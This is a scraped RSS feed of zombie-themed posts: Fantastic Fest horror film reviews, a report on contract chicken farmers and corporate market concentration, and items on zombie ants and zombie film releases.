Let the Right One In is the obvious comparison here because Border is based on a story by John Ajvide Lindqvist, who wrote the source novel for that instant classic (he is also one of the screenwriters here). Like how that film redefined what a vampire story can be and injected tenderness into a legend defined by its unnatural horrors, Abbasi frames the fantastical in a matter-of-face manner that only exemplifies its power and mystery. The result is sometimes unsettling, frequently romantic, and often strangely erotic, as Border challenges us to redefine what makes something sexy and asks us to view attraction through the eyes of those completely different than us. I’ll say this much: Border features an all-timer of a sex scene that will leave heads spinning and mouths agape.

Border is something special. And it pains me that I can’t talk about why. But you’ll thank me when you get the chance to see it.

Apostle is a Gnarly, Twisted (and Too-Damn-Long) Descent Into Horror

Gareth Evans is one of the most exciting filmmakers on the planet and Apostle does little to temper that statement. The director of The Raid and The Raid 2 makes movies that can only be made by him, visceral experiences that pummel audiences and characters alike with a relentlessness that is exhausting and addicting. His new movie could not be more different than the Raid movies, but this slow-burning horror film is Evans through and through, the next logical step for the filmmaker and testament to his skills beyond delivering bone-breaking action. Every genre movie fan should see it.

It is also too damn long, but hey, no one’s perfect.

Set in 1905, Apostle drops us into the action with a speed that is almost jarring. A young woman has been kidnapped by a pagan cult, her wealthy father is not in position to deal with the ransom demands, and her mysterious brother Thomas (Dan Stevens) is recruited to infiltrate the cult’s island compound and deal with the problem. And within minutes, the story is off the races and Thomas is on the island and everything is dangerous and no one can be trusted and the story doesn’t even pause to suggest there isn’t something supernatural going on here.

That may be the greatest strength of Apostle: it doesn’t waste your time in its opening act and lays every card on the table. Buckle up, the movie says, things are going to get nuts.

It does take a while to get there, though. Once those cards are on the table, Evans takes his time maneuvering them, building the shaky house of cards that will tumble in the final 45 minutes. At 129 minutes, one wonders if Apostle is too long and too slow for its own good in the middle stretch. One wonders if Evans shouldn’t have acted as his own editor and if there’s a 100-minute cut out there that’s leaner, and faster, and more effective. After all, there’s a difference between a deliberate pace and wheel-spinning, and Apostle sometimes feels like it doesn’t earn the slow burn it desperately wants.

Still, no one directs a situation going straight to hell quite like Gareth Evans. When the slow-burn finally ignites the fuse, Apostle delivers on the visceral action, chilling imagery, and outrageous gore and violence. The back stretch of the film is wall-to-wall with nightmare fuel and blood and crazy ideas, some of which stick and some of which do not. It’s the natural extension of “Safe Haven,” the V/H/S 2 segment Evans co-directed. It’s a spiral into madness and chaos that’s as spellbinding and gruesome as anything you’ll see this year.

At the center of it all is Dan Stevens, rocking the hell out of his 1905 fashions and skulking like no one’s business (Apostle proves that Stevens is the best skulker in the business). A broken, spiritually wounded man with a chip on his shoulder so large that he looks ready to collapse at any moment, Stevens’ Thomas is all vicious glares and acid-tongued retorts, a man with nothing to lose except the sister he loves. Stevens is arch here, but it works – Apostle is wild enough to contain a performance this big and this is an actor smart enough to know what this material demands. As he does on FX’s Legion and did in the underrated thriller The Guest, Stevens radiates an unpredictable, sexy danger that makes him one of our most valuable leading men.

Has Evans made a particularly deep movie? Not at all. Discussions about Apostle will be about its atmosphere and its mood, that Dan Stevens performance and the gore, the way Evans takes the “English cult on an island” trope and twists it into a pretzel of broken bones and splattered craniums. This movie is all style, all aesthetic. But what aesthetic! No one does aesthetic like this and sometimes, that’s all we need.

One Cut of the Dead Delivers One of the Greatest Comedic Payoffs…Ever?

I’ve never read a film festival entry quite like the Fantastic Fest blurb for Shin’ichirô Ueda’s One Cut of the Dead. It actively warns attendees that the film has a rough start, that things will seem dire for a bit, and that they need to stick it out and make it to the 30 minute mark. This was reiterated when the film was introduced: a programmer admitted that he spent the first half hour thinking that there was no way they could possibly program this garbage.

Then something magical happens – One Cut of the Dead reveals its hand. 30 minutes into its 96-minute running time, Ueda pulls the rug out from under us all and reveals the magic trick he’s been so delicately setting up. That agonizing first act lays the groundwork for extraordinary pay-offs, jokes and gags and punchlines that can only function because we suffered for so long early on. Not since R100 have I seen a comedy bury the lede so deep and so effectively.

One Cut of the Dead begins as a tired zombie movie. A film crew is shooting a horror film at an abandoned building, real walking corpses attack, and everyone must band together to fight them off. But that’s before the film reveals its true intentions. What at first looks like schlocky, tired junk ultimately reveals itself to be a tribute to bootstrap filmmaking, an ode to art by any means necessary, and a heart-melting comedy about family. The first 30 minutes may be interminable, but the final 30 are joyous in ways that cannot be explained without spoiling the experience.

It’s rare to find a comedy that demands your patience quite like this. But it’s also rare to find a comedy that pulls off its one-of-a-kind humor this well. One Cut of the Dead is the funniest movie of 2018 and I can’t wait for more people to see it so we can talk about why.

Terrified Does Everything It Can to Live Up to That Title

It takes a certain amount of nerve to call your horror movie Terrified, but writer/director Demián Rugna does a fine job of living up to it. Here is a movie that is less interested in telling a coherent story than it is in just simply scaring the hell out of you. And I, your resident horror-loving scaredy cat, spent entire running time digging my fingernails into my sweaty palms.

It begins with a series of incidents. A women hears voices coming from her sink. A man is haunted in his bedroom by a mysterious creature. A child’s death triggers a uniquely unpleasant response. Eventually, the various parties trying to put all of this together (a blend of paranormal investigators and police officers) realize that they’re not dealing with separate haunted houses – they’re deal with a haunted neighborhood. Once they decide to team up and tackle everything together, things really go to hell.

If that premise sounds like an excuse to just string together a bunch of scares on a canvas open-ended enough to allow just about anything…well, you’d be right. Rugna dabbles in every familiar set-up and style you can image. On a scene-by-scene basis, Terrified is a jump scare factory, a slow descent into madness, a surreal fever dream, and an ultra-violent chiller. The concept of a haunted neighborhood is a clever one, giving him the space necessary to stage whatever scare he wants and to subject this cast of characters to whatever vicious nightmare he care to conjure. As a funhouse ride, Terrified is a spooky, bloody, effective blast.

But what if you want more? Sorry, Terrified is not here to make sense or to explain exactly why all of this is happening and how it fits together. This doesn’t feel like laziness (Rugna’s script pays lip service to this entire incident being something the characters cannot comprehend), but the choice to favor horror set pieces and big scares over story, character, or basic sense will annoy as many as it pleases. However, if you just want a good scare and little more, you really can’t do better than this.

The post Fantastic Fest Day 2: ‘Border’ is a Beautifully Executed Bad Idea, ‘Apostle’ Delivers Vicious Thrills, and ‘One Cut of the Dead’ is the Best Zombie Comedy in Years appeared first on /Film.

]]> https://briefnews.eu/fantastic-fest-day-2-border-is-a-beautifully-executed-bad-idea-apostle-delivers-vicious-thrills-and-one-cut-of-the-dead-is-the-best-zombie-come/feed/ 0 The Rise of the Zombie Small Businesses https://briefnews.eu/the-rise-of-the-zombie-small-businesses/ https://briefnews.eu/the-rise-of-the-zombie-small-businesses/#respond Tue, 04 Sep 2018 13:19:27 +0000 http://briefnews.eu/the-rise-of-the-zombie-small-businesses/ Imagine the farm that raised the chicken that produced the meat that sits in your sandwich: a few workers, thousands of birds, tens of thousands of pounds of white and dark meat, work that starts before dawn and ends after dusk, uncertain revenue, slim profits. There are thousands of these small farms in the United States, and they benefit from millions of dollars of taxpayer support each year.

Chicken is America’s favorite protein, after all. Family farms are one of its most prized institutions. And farming is tough business. According to one estimate, a new, hangar-like chicken house costs something like $ 300,000 to build, and more to maintain and upgrade. “A farmer has to invest over $ 1 million just to get set up—a lot of debt to carry when you’re paid on average between 5 cents and 6 cents per pound of chicken produced,” Sally Lee of the Rural Advancement Foundation International-USA has found. Even when a chicken-growing operation is established, financial success is far from a sure thing. Given those realities—and given the American love for and support of the family farm—generous taxpayer subsidies seem not just sensible, but vital.  

But a government report released this spring calls into question whether all those family chicken farms are really family chicken farms, and whether those taxpayer dollars might be better spent elsewhere. The Small Business Administration’s inspector general looked at poultry growers, and found that many of them are tied-and-bound contractors—so controlled by their agreements with giant food corporations that they no longer act like independent entities. Why offer them taxpayer support meant for the little guy?

“The farm is not a real family farm, but a cog in this larger industrial-agriculture model,” said Joe Maxwell, a fourth-generation farmer and the executive director of the Organization for Competitive Markets. “This is a heavily concentrated marketplace with a vertically integrated model. That denies the consumer an independent market, and it extracts wealth from the independent farmer.”

The paper has caused controversy and concern in the poultry world, with farmers worried that Uncle Sam might withdraw financial aid, members of Congress looking into lending practices, and poultry businesses pushing back against the government findings. There are broader ramifications, too. In sectors across the economy, from defense contracting to pizza delivery, a handful of firms have amassed and are exerting similar kinds of market power. Economists and policy experts believe that Goliath controlling, contracting, and acquiring David is a key factor driving the country’s anemic growth rates, sluggish productivity numbers, and stark income inequality.

The Sunday roast chicken on your dining table might have come not from an independent grower, but from a zombie arm of a giant corporation. That chicken-salad sandwich in your lunch bag might have come from an agribusiness leeching taxpayer support for small farms. And that bucket of spicy fried might contain within it a lesson about why your paycheck is so small.

Between the retraction of labor law and the decline of antitrust enforcement, “you’ve got a regulatory black hole in which a powerful company can exert total control with no responsibility,” said Marshall Steinbaum, the research director at the Roosevelt Institute. “Between the Amazons of the world and the Ubers of the world and the chicken farmers, when you step back and look at it, you think, ‘Oh wow, this is not an isolated thing. This is actually a big thing.’”

Much of the chicken that ends up on your plate comes from one of a handful of big businesses, such as Tyson and Perdue. The big company provides the chicks. The contract farmer raises them into chickens. The big company slaughters them for meat. It packages and brands that meat under one of dozens of labels. And it sells it cheap to the American consumer.

The issue, the Small Business Administration report found, is the level of control that the integrated poultry company exerts over the farmer. These big operations do not act like department stores, choosing goods from a broad variety of vendors and fostering competition and innovation. They instead act like a lord with serfs, or a landowner with sharecroppers.

The big chicken producers argue against that characterization. “The situation is no different than any other small business that enters into a contractual relationship to provide services to a larger company,” said Tom Super of the National Chicken Council, a trade group, in an email. “These loans, approved by the federal government, go directly to small, independent family farms in rural America which has allowed people to start their own businesses, expand or diversify their farm operations, create jobs, and stay and work on their farms with their families. If anything, the government should be doing more, not less, to drive growth and opportunity in the rural economies that feed America and the world.”

But farmers have complained about and litigated against such contractual relationships for years. “The company has 99-and-a-half percent control over the grower,” said Jonathan Buttram, the president of the Alabama Contract Poultry Growers Association and an outspoken critic of the industry. “I’ll list what they tell you: what time to pick up the chickens, what time to run the feed, what time to turn the lights off and on, every move that you make. Then, they say were not an employee—we are employees, but they won’t let us have any kind of benefits or insurance.”

Yet for all the control the poultry businesses have over the farmers, the farmers maintain significant financial and legal risk. They have little job security. They can get dumped for a different supplier, and face a tournament-style system that pits them against fellow growers. They are responsible for financing their own operations, and face the persistent threat of foreclosure.

Buttram said that he worried about the safety and health of the birds being produced for slaughter, many of which live lives of constant sickness and pain. “They pack these chickens in these houses so tight,” he said. “It’s nasty. It is hard to see.” He described farmers being instructed to dig pits to dispose of thousands of diseased chicken carcasses.

The system also takes an extraordinary toll on the contract growers themselves. The work is hard, the trade uncertain, the remuneration sometimes scant. Mental and physical health problems are common. “Back a few months ago, a grower called me and he was going to kill his broiler manager and kill himself,” Buttram told me. “I never thought that I would have to be talking people out of committing suicide or committing murder. It shouldn’t be that an entity can coerce you into committing suicide when you have put everything on the line—your mortgage, your farm—and the company has nothing invested in it but a few chickens.”

The meat of the issue, experts said, is growing market concentration. If, as a farmer, you are not going to raise chickens for one of the big players, who are you going to raise them for? How are you going to get them to market? How would you ever get a loan? According to USDA data, about 20 percent of of growers report that there is only one integrator in their area, with another 30 percent reporting that there are only two.

The industry is highly concentrated by many other measures. “Where there were once 1.6 million independent farms across the country, a rapid shift to a vertical-integration model has resulted in just 25,000 contract farms raising the vast majority of America’s poultry,” Representative Nydia Velázquez of New York noted at a hearing the House Small Business Committee held on the report in April. Most broiler chickens in the United States come from operations that process more than 500,000 birds a year.

It is not just a chicken-and-egg issue, either. The top four beef producers account for more than 80 percent of the market. The top four hog processors account for more than half. Much the same is true across the economy. The top four players account for more than 90 percent of overall revenue in a wide variety of market sectors and for a wide variety of consumer goods: web search, toilet paper, wireless services, arcade operations, soda, light bulbs, tires.

An estimated three-quarters of industries have seen a substantial increase in market concentration in the past two decades. There were about half as many publicly traded companies in 2014 as there were in 1997, a decline “so dramatic that the number of firms these days is lower than it was in the early 1970s, when the real gross domestic product in the U.S. was just one third of what it is today,” researchers have found. Those public companies are three times as big as they were in the 1990s.

Economists and policy experts argue that the rise of big businesses is having a number of harmful effects on the economy. For instance, increasing concentration seems to be stifling innovation. Market-dominant players might dampen innovation by buying up their smaller, leaner, and more creative competitors; by patent-trolling; and by signing contracts with suppliers and clients that in effect black-ball their competition out of the market. The end result? Higher profits for the few, and a slower and less-dynamic economy for the many.

That lack of competition sometimes leads to higher prices for consumers as well, economists argue. For instance, researchers have found “clear instances” where agribusinesses have used their market power to jack up prices. “The four producers of lysine, a key ingredient in animal feed, were able to raise prices by amounts ranging from 40 [to] 70 percent,” one study found. “The government’s attempts to induce competition among the three makers of infant formula are just as striking; the federal Women, Infants, and Children (W.I.C.) program, which purchases about half of the infant formula consumed in the United States, pays wholesale prices for formula that are one fifth the wholesale price offered to non-W.I.C. buyers.”

The growing power of big firms also might be suppressing wages and increasing inequality, experts think. Having fewer businesses around reduces the ability of workers to hopscotch between companies in search of greater wages. It increases the chances that employers might collude to keep wages low or to prevent their talent from getting poached. Local labor markets with fewer and less competitive employers show a 17 percent decline in posted wages, one recent study found. That wage suppression helps to drive income inequality, as does the excess profitability of firms in less-than-competitive industries. Firms in more concentrated industries have “enjoyed higher profit margins, positive abnormal stock returns, and more profitable [merger] deals.”

What to do about it? Policies aimed at increasing competition across industries might be best, helping everyone from the family farmer, to producers struggling to meet big-box stores’ demands, to consumers sapped for choice, to workers hurt by falling real wages. Enforcing antitrust law, forcing huge companies to split apart, barring mergers, strengthening labor standards, targeting patent trolls, and barring exploitative contract practices: Such government actions would not just help the growers Buttram works with or the farmers Maxwell represents, but everyone else in America, too.

]]> https://briefnews.eu/the-rise-of-the-zombie-small-businesses/feed/ 0 Climate Change Made Zombie Ants Even More Cunning https://briefnews.eu/climate-change-made-zombie-ants-even-more-cunning/ https://briefnews.eu/climate-change-made-zombie-ants-even-more-cunning/#respond Tue, 29 May 2018 05:06:46 +0000 http://briefnews.eu/climate-change-made-zombie-ants-even-more-cunning/ The parasitic fungus that drives ants to sabotage their own colonies has adapted to zombify their quarry better in different climates.


https://media.wired.com/photos/5b08730b7c48216fc1df0ac4/master/pass/ZombieAnts-2w.jpg

]]> https://briefnews.eu/climate-change-made-zombie-ants-even-more-cunning/feed/ 0 Release Date Announced for ‘Anna And The Apocalypse’, the Christmas Zombie Musical You’ve Always Wanted https://briefnews.eu/release-date-announced-for-anna-and-the-apocalypse-the-christmas-zombie-musical-youve-always-wanted/ https://briefnews.eu/release-date-announced-for-anna-and-the-apocalypse-the-christmas-zombie-musical-youve-always-wanted/#respond Fri, 06 Apr 2018 22:35:47 +0000 http://briefnews.eu/release-date-announced-for-anna-and-the-apocalypse-the-christmas-zombie-musical-youve-always-wanted/ anna and the apocalypse release date

Finally, the Christmas-themed zombie musical you’ve been waiting for has a release date. Anna and the Apocalypse will sing and dance its way into theaters this December.

Fans of zombies, Christmas and musicals rejoice – Anna and the Apocalypse is just the film for you, and it’s hitting theaters this year. Deadline reports that Orion Pictures will open John McPhail’s film on December 7, 2018 in select theaters before a nationwide rollout. We had already reported that the film would likely debut in time for the holiday season, so this is just perfect.

/Film’s own Jacob Hall saw the film at Fantastic Fest last year, and had a lot of good things to say:

Horror aficionados won’t be surprised by much of Anna and the Apocalypse. It hits the familiar beats, even introducing a human threat (a vice principal played with gusto by Paul Kaye) that suggests that the living are the real enemy in an undead end-of-the-world scenario. But I’m not convinced that horror aficionados are the intended audience here, even though plenty of them will have a great time. Anna and the Apocalypse is a very good movie, but it’s easy to imagine it directly connecting to the 14-year-old theater kids, the offbeat weirdos who like horror and musicals in equal measure, the kids looking for a genre movie that speaks (and sings) a language that they think they’re alone in speaking. It’s easy to appreciate Anna and the Apocalypse as a weird genre experiment. It’s easier to imagine a generation of younger, burgeoning genre enthusiasts embracing it as a new all-time favorite.

Anna and the Apocalypse Teaser

“The musical aspect just helps show the depth and their growth, their plight,” director John McPhail told /Film. “Where they’re going, which way are they coming from and where they want to go. The horror aspect of it is just part of the story. It’s part of our zombie apocalypse. That’s the inevitable part of it. We’ll eventually reach the horror moments by starting like a zany teen comedy and introducing the new characters – get people laughing. Then, slowly but surely, head towards that horror genre where people are going to be terrified for their favorite character. Scared that they’re going to lose them which, in turn, means they’ll root for them when they’re at their lowest.”

Anna and the Apocalypse is based on the short film Zombie Musical, which you can watch below.

Zombie Musical

Anna’s (Ella Hunt) life is dominated by the typical concerns of her youthful peers until the Christmas season in her small town brings not Santa, but an outbreak of the undead in this genre-mashing holiday horror musical. Yep. Musical.

The post Release Date Announced for ‘Anna And The Apocalypse’, the Christmas Zombie Musical You’ve Always Wanted appeared first on /Film.

]]> https://briefnews.eu/release-date-announced-for-anna-and-the-apocalypse-the-christmas-zombie-musical-youve-always-wanted/feed/ 0 ‘Cargo’ Trailer: Martin Freeman vs. The Zombie Apocalypse https://briefnews.eu/cargo-trailer-martin-freeman-vs-the-zombie-apocalypse/ https://briefnews.eu/cargo-trailer-martin-freeman-vs-the-zombie-apocalypse/#respond Sun, 01 Apr 2018 21:14:26 +0000 http://briefnews.eu/cargo-trailer-martin-freeman-vs-the-zombie-apocalypse/ Cargo trailer

Martin Freeman had a quick cameo in Edgar Wright’s Shaun of the Dead, but now he’s headlining his very own zombie movie. We’ve been writing about the Australian film Cargo for years, and this new trailer tells us when we’ll finally get to see Freeman brave a zombie apocalypse in an attempt to save his character’s infant daughter.

Cargo Trailer

Cargo is directed by Yolanda Ramke and Ben Howling, and it’s a remake of the pair’s 2013 short film of the same name. That short currently has over 14 million views on YouTube and was a finalist at the Tropfest short film festival. If you’re interested in comparing the two, you can check out the original short below:

Interestingly, Freeman doesn’t consider Cargo to be a zombie movie. Instead, he says it’s “a film with some zombies in it.” I don’t know, man – looks a lot like a zombie movie to me. There’s no shame in embracing a film for what it is, especially one in this particular genre. While zombie movies have become stale over the past decade or so, they have a long history of providing relevant social commentary and thrills alike. And it’s not like zombie stories are completely worthless now: AMC’s The Walking Dead hasn’t been good in years, but recent zombie movie fare like Train to Busan or The Girl With All The Gifts proved that it’s still possible to breathe some new life into this genre.

Seeing this trailer, I immediately thought about Maggie, the quiet 2015 indie drama starring Arnold Schwarzenegger that featured the actor shunning his action movie persona to play the father of a zombified child. Cargo isn’t quite as much of a career departure for Freeman, who has starred in his share of dramatic projects (including a phenomenal performance in the first season of FX’s Fargo), but it’s an inversion of Maggie, with the father being the infected one this time around.

IMDb lists Cargo as a 2017 movie, but this trailer claims it’ll be in cinemas on May 17, 2018. That will presumably only be in international cinemas, because Cargo will debut on Netflix in the United States on May 18, 2018. The streaming service is taking the movie to this year’s Tribeca Film Festival in late April, where it will make its North American debut.

The post ‘Cargo’ Trailer: Martin Freeman vs. The Zombie Apocalypse appeared first on /Film.

]]> https://briefnews.eu/cargo-trailer-martin-freeman-vs-the-zombie-apocalypse/feed/ 0 Zombie Airports: Your Ticket To Nowhere https://briefnews.eu/zombie-airports-your-ticket-to-nowhere/ https://briefnews.eu/zombie-airports-your-ticket-to-nowhere/#respond Sun, 18 Mar 2018 20:55:09 +0000 http://briefnews.eu/zombie-airports-your-ticket-to-nowhere/

Zombie Airports: Your Ticket To Nowhere

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